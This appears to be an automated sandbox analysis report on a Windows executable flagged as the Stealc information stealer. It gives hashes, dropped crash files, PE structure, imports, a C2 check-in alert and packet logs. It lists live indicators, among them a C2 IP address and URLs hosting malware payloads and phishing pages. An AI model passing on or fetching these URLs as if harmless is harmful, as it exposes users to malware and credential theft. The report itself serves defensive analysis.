TNNET-ASTNNetOyMainnetworkFI	XQywAEbb9e.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.150
	Aew8SXjXEb.exe	Get hash	malicious	Stealc	Browse	62.204.41.150
	RJQySowVRb.exe	Get hash	malicious	Stealc	Browse	62.204.41.150
	1f13Cs1ogc.exe	Get hash	malicious	Stealc	Browse	62.204.41.150
	5rVhexjLCx.exe	Get hash	malicious	Stealc	Browse	62.204.41.150
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.150
	0h5IfpqflF.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	file.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	552RZ9fPMe.exe	Get hash	malicious	Stealc	Browse	62.204.41.159
	vmgon5Zqja.exe	Get hash	malicious	Stealc, Vidar	Browse	62.204.41.159

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://starylasfe.com.de/6SZZr/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.60
	T2bmenoX1o.exe	Get hash	malicious	LummaC, Vidar	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.DownLoader47.43340.9153.30810.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	https://Vv.ndlevesio.com/vrbU/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://hans.uniformeslaamistad.com/yuop/66e6ea133c92f_crypted.exe#xin	Get hash	malicious	PureLog Stealer, RedLine, zgRAT	Browse	13.107.246.60
	http://pay.christinagstewart.com/	Get hash	malicious	Unknown	Browse	13.107.246.60
	http://hans.uniformeslaamistad.com/prog/66ce237125ba7_vjrew2ge.exe	Get hash	malicious	Unknown	Browse	13.107.246.60
	Audio_Msg..00293614554893Transcript.html	Get hash	malicious	Unknown	Browse	13.107.246.60
	SecuriteInfo.com.Trojan.DownLoader47.43340.12576.1316.exe	Get hash	malicious	Stealc	Browse	13.107.246.60
	http://hans.uniformeslaamistad.com/prog/66f5db9e54794_vfkagks.exe	Get hash	malicious	Unknown	Browse	13.107.246.60

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_MmcJhaiYNh.exe_bdefa9aad4b825c5631b87954d3abbfcc0f02270_a8e7628e_feeafe02-ff32-4b1c-a93d-c4818edfd04c\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.654056750675087
Encrypted:	false
SSDEEP:	192:+zcxaqZlXKX/fnmn0BU/8LHjhzuiFYZ24IO8rxI:Eu3Zl6PfLBU/AjhzuiFYY4IO8F
MD5:	A7E157BA9A93BF736146789C22EF5B9E
SHA1:	1D4FB4841CE63336EF1BA38BB25899EBD0DE6F54
SHA-256:	904BCF9AE55DCFA90BAD6A82B830239EF029C39EF951D37739E6469E970CE851
SHA-512:	CA0E44A478D023C435FB7FCB25FF84DB1D9ED8312FB6372714845E620C9BCC1F1FFE9B1C1FBDA3F91B488B1B1E1EBD7EE3644F74896B6DD8B715B558AEFB45E1
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.2.8.2.4.2.4.5.2.7.4.7.8.7.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.2.8.2.4.2.4.6.5.2.4.7.9.2.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.e.e.a.f.e.0.2.-.f.f.3.2.-.4.b.1.c.-.a.9.3.d.-.c.4.8.1.8.e.d.f.d.0.4.c.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.c.7.f.8.c.6.3.d.-.d.9.6.3.-.4.5.3.b.-.9.3.e.e.-.0.a.4.7.5.5.b.0.c.1.5.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.M.m.c.J.h.a.i.Y.N.h...e.x.e.....O.r.i.g.i.n.a.l.F.i.l.e.n.a.m.e.=.p.r.o.q.u.o.t.a...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.d.f.c.-.0.0.0.1.-.0.0.1.3.-.e.1.e.1.-.6.c.c.3.2.0.1.9.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.9.7.d.0.3.f.6.a.1.a.a.4.5.0.5.0.f.7.b.e.5.5.f.8.7.6.f.e.a.2.d.c.0.0.0.0.0.9.0.4.!.0.0.0.0.6.2.3.9.e.c.6.d.0.5.0.3.4.b.9.e.2.b.2.a.d.d.7.4.1.7.b.6.1.b.f.8.b.2.a.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF549.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Tue Oct 8 01:24:05 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	32758
Entropy (8bit):	1.7701330747123598
Encrypted:	false
SSDEEP:	96:5M83tdaxtxPHAXr9i77g3eUxhL7LaLov0eidx+mgkrjsCWIKwIdII40HEBdPDXv9:Ba0r9OOaLc0eUFIk0HEBdPDXvp
MD5:	B3EB91AFC1F148464E1B9C635AF01232
SHA1:	6C4621CE287D578AF33A3F5A9799EA2DA0ABA5AA
SHA-256:	97249B541387E74E89554FED511C6015830CB950124E973C85A18134AABCE652
SHA-512:	1DF8D542D42E090F75FA8915D91E8AE1F9B0B7890BE6DAED01AC9CC2D4F9587AEDB9C670FFED6ED8396730670299519BC3CB8D6AAE37F7B6C84ECBABFA33BBB0
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... ..........g........................d...........................T.......8...........T................t......................................................................................................eJ..............GenuineIntel............T..............g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF625.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8326
Entropy (8bit):	3.6979991237079246
Encrypted:	false
SSDEEP:	192:R6l7wVeJYSE6r6YWpSU94LgmfZ/ippapr089btXsfb+ePm:R6lXJU6r6YoSU98gmfRwpetcfb+n
MD5:	B128E93166BB26959DE33EDE61202B6B
SHA1:	6501680520AD8EAF16DD9ABB29B98E2A418C07E1
SHA-256:	5AF431997A84859AC455E23D56E6A33B6986D9E52802F0E0C318CABAC7D9B5F0
SHA-512:	A51E48848E620CC9FC5B38933F6BE3B7A290D56E4F13B18494FED92CB217BDED7F90B0E8ADF2B0307C4E4460D2AC0F9E668851CE314FC72553D1696B33C4E4A7
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.6.7.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERF654.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4678
Entropy (8bit):	4.489028117658543
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg77aI9EXWpW8VYPYm8M4JzIFh+q8+vaI/dgTd:uIjf8I7am7VTJsjaadgTd
MD5:	E1AACE3763900C2B0EEECD89092AA7D4
SHA1:	1B777873C3B38B6FDAC82BC1D3C82610BFDA44CA
SHA-256:	7AE46AAB91FA81DECF9A065257C12E77EF1D4B923BCFC9311CD7758906C26B6E
SHA-512:	E72F75FB76B6EED15EC8C0D855E235EC53367A9E8945D66B53D9670EBD1AB62E7899F779C47BECB17C5A4FD965C424609249960A0306E98E70740725D4610147
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="533786" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.295988087443011
Encrypted:	false
SSDEEP:	6144:u41fWRYkg7Di2vXoy00lWZgiWaaKxC44Q0NbuDs+2emBMZJh1VjV:/1/YCW2AoQ0NiwewMHrV5
MD5:	86FA0170F00532DFEF501A280B81D77F
SHA1:	08859683A97DC019C2C9F1A417DA2883F08501F6
SHA-256:	196470A1A52DADA73A26B915FE19506214574FC9EF8E4BF19B4D50DDFC7EC6EB
SHA-512:	B22294A42CA54C2E4C118FDCC34CE26227251DA157CCBA5B746FF69516A982A4ABA0BBDBE7C0C9839D2D80EE31EB27D9DFE79B5FF6FC613B566428DBB16C4E8B
Malicious:	false
Reputation:	low
Preview:	regfG...G....\.Z.................... ....`......\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm.... ...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.684301929480681
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	MmcJhaiYNh.exe
File size:	505'344 bytes
MD5:	ac01d961f8d6509a9363de460482e87b
SHA1:	6239ec6d05034b9e2b2add7417b61bf8b2a772e1
SHA256:	f2f1a93d30d38fbe7b271d9c9b173b18b98e32c3424e62808112411fb05c32b7
SHA512:	8715b7ea76ee83aec5de70ee497f8b22e054250d8ca52aacec8395a35adb4366b36f5a00185e4f77c96fecebd0267aa2f415f9260c83e7ac52e08ddb7dc5ccf0
SSDEEP:	12288:AUNp0KFRFaPofBEvb0Y5cGOUSDibHmixFkD54S:A/KFz4eUSDCHmix6Dq
TLSH:	5BB4F105B5C1C072D57225324AF0EB749A3EB8B00B669DDF27944F7F5F70281D622A6B
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......=.9.y.WUy.WUy.WU..TTu.WU..RT..WU..STl.WU..VTz.WUy.VU!.WUilTTm.WUilSTk.WUilRT4.WU1m^Tx.WU1m.Ux.WU1mUTx.WURichy.WU...............

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x406f52
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x670486E3 [Tue Oct 8 01:12:03 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	d10af643340e1121562abe3e6bd5b0e1

Entrypoint Preview

Instruction
call 00007FD64C6DD560h
jmp 00007FD64C6DCACFh
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
push esi
mov ecx, dword ptr [eax+3Ch]
add ecx, eax
movzx eax, word ptr [ecx+14h]
lea edx, dword ptr [ecx+18h]
add edx, eax
movzx eax, word ptr [ecx+06h]
imul esi, eax, 28h
add esi, edx
cmp edx, esi
je 00007FD64C6DCC6Bh
mov ecx, dword ptr [ebp+0Ch]
cmp ecx, dword ptr [edx+0Ch]
jc 00007FD64C6DCC5Ch
mov eax, dword ptr [edx+08h]
add eax, dword ptr [edx+0Ch]
cmp ecx, eax
jc 00007FD64C6DCC5Eh
add edx, 28h
cmp edx, esi
jne 00007FD64C6DCC3Ch
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 00007FD64C6DCC4Bh
push esi
call 00007FD64C6DD874h
test eax, eax
je 00007FD64C6DCC72h
mov eax, dword ptr fs:[00000018h]
mov esi, 0047B35Ch
mov edx, dword ptr [eax+04h]
jmp 00007FD64C6DCC56h
cmp edx, eax
je 00007FD64C6DCC62h
xor eax, eax
mov ecx, edx
lock cmpxchg dword ptr [esi], ecx
test eax, eax
jne 00007FD64C6DCC42h
xor al, al
pop esi
ret
mov al, 01h
pop esi
ret
push ebp
mov ebp, esp
cmp dword ptr [ebp+08h], 00000000h
jne 00007FD64C6DCC59h
mov byte ptr [0047B360h], 00000001h
call 00007FD64C6DCF0Ah
call 00007FD64C6DFE27h
test al, al
jne 00007FD64C6DCC56h
xor al, al
pop ebp
ret
call 00007FD64C6E8889h
test al, al
jne 00007FD64C6DCC5Ch
push 00000000h
call 00007FD64C6DFE2Eh
pop ecx
jmp 00007FD64C6DCC3Bh
mov al, 01h
pop ebp
ret
push ebp
mov ebp, esp
cmp byte ptr [0047B361h], 00000000h
je 00007FD64C6DCC56h
mov al, 01h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x2c6c0	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7c000	0x3d8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7d000	0x1ad4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x2abc0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x2ab00	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x23000	0x12c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x210f0	0x21200	ae3d247d3bfb9905f632ba01a15fd77e	False	0.5865860849056603	data	6.670375264791789	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x23000	0x9d78	0x9e00	052559dec50d12f67b970af85308fbbf	False	0.4352007515822785	data	4.959894605595207	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x2d000	0x4ef88	0x4e200	e2890c6116b1368b927d4cc3bcdeb4d9	False	0.990015625	DOS executable (block device driver \377\377\377\377,32-bit sector-support)	7.991143551770433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x7c000	0x3d8	0x400	5584c2fd2a321b3ff4d89d84727643be	False	0.4404296875	data	3.290569201128903	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7d000	0x1ad4	0x1c00	cd869db87ec0ae444889b3bea4fae630	False	0.7269810267857143	data	6.392702644390928	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x7c058	0x380	data	English	United States	0.46205357142857145

Imports

DLL

Import

KERNEL32.dll

AttachConsole, MultiByteToWideChar, GetStringTypeW, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, LCMapStringEx, GetCPInfo, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, QueryPerformanceCounter, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, IsDebuggerPresent, GetStartupInfoW, GetModuleHandleW, CreateFileW, RaiseException, RtlUnwind, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, GetStdHandle, WriteFile, GetModuleFileNameW, ExitProcess, GetModuleHandleExW, HeapAlloc, HeapFree, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, GetFileSizeEx, SetFilePointerEx, CloseHandle, FlushFileBuffers, GetConsoleOutputCP, GetConsoleMode, ReadFile, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetStdHandle, GetProcessHeap, ReadConsoleW, HeapSize, WriteConsoleW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-08T03:24:09.467010+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.10	49702	62.204.41.150	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 03:24:02.540349960 CEST	49674	443	192.168.2.10	173.222.162.55
Oct 8, 2024 03:24:02.540370941 CEST	49675	443	192.168.2.10	173.222.162.55
Oct 8, 2024 03:24:03.244499922 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 8, 2024 03:24:03.555958986 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 8, 2024 03:24:04.165309906 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 8, 2024 03:24:04.321582079 CEST	49671	443	192.168.2.10	204.79.197.203
Oct 8, 2024 03:24:05.368428946 CEST	49677	443	192.168.2.10	20.42.65.85
Oct 8, 2024 03:24:05.822997093 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:05.823038101 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:05.823350906 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:05.823934078 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:05.823946953 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.537312031 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.537374020 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.544154882 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.544174910 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.544508934 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.557435036 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.599406004 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.662992954 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.663012028 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.663080931 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.663090944 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.663111925 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.663146019 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.663197994 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.759304047 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.759322882 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.759378910 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.759402990 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.759412050 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.759469986 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.760428905 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.760453939 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.760513067 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.760519028 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.760659933 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.850280046 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.850306988 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.850363970 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.850385904 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.850409031 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.850423098 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.854073048 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.854090929 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.854156017 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.854162931 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.854257107 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.854530096 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.854547024 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.854670048 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.854676962 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.854751110 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.941175938 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.941210985 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.941263914 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.941277981 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.941303015 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.942156076 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.942186117 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.942210913 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.942218065 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.942233086 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.942260981 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.942960978 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.942976952 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.943023920 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.943030119 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.943429947 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.944056034 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.944077969 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.944134951 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.944142103 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.944160938 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.944190025 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.944967031 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.944987059 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.945030928 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.945036888 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.945067883 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.945091963 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.999397993 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.999429941 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.999514103 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.999541998 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:06.999552965 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:06.999583006 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.026835918 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.040957928 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.040997982 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.041033030 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.041052103 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.041074038 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.041099072 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.041261911 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.041315079 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.041321993 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.041363955 CEST	443	49701	13.107.246.60	192.168.2.10
Oct 8, 2024 03:24:07.041408062 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.071439981 CEST	49701	443	192.168.2.10	13.107.246.60
Oct 8, 2024 03:24:07.075269938 CEST	49701	443	192.168.2.10	13.107.246.60
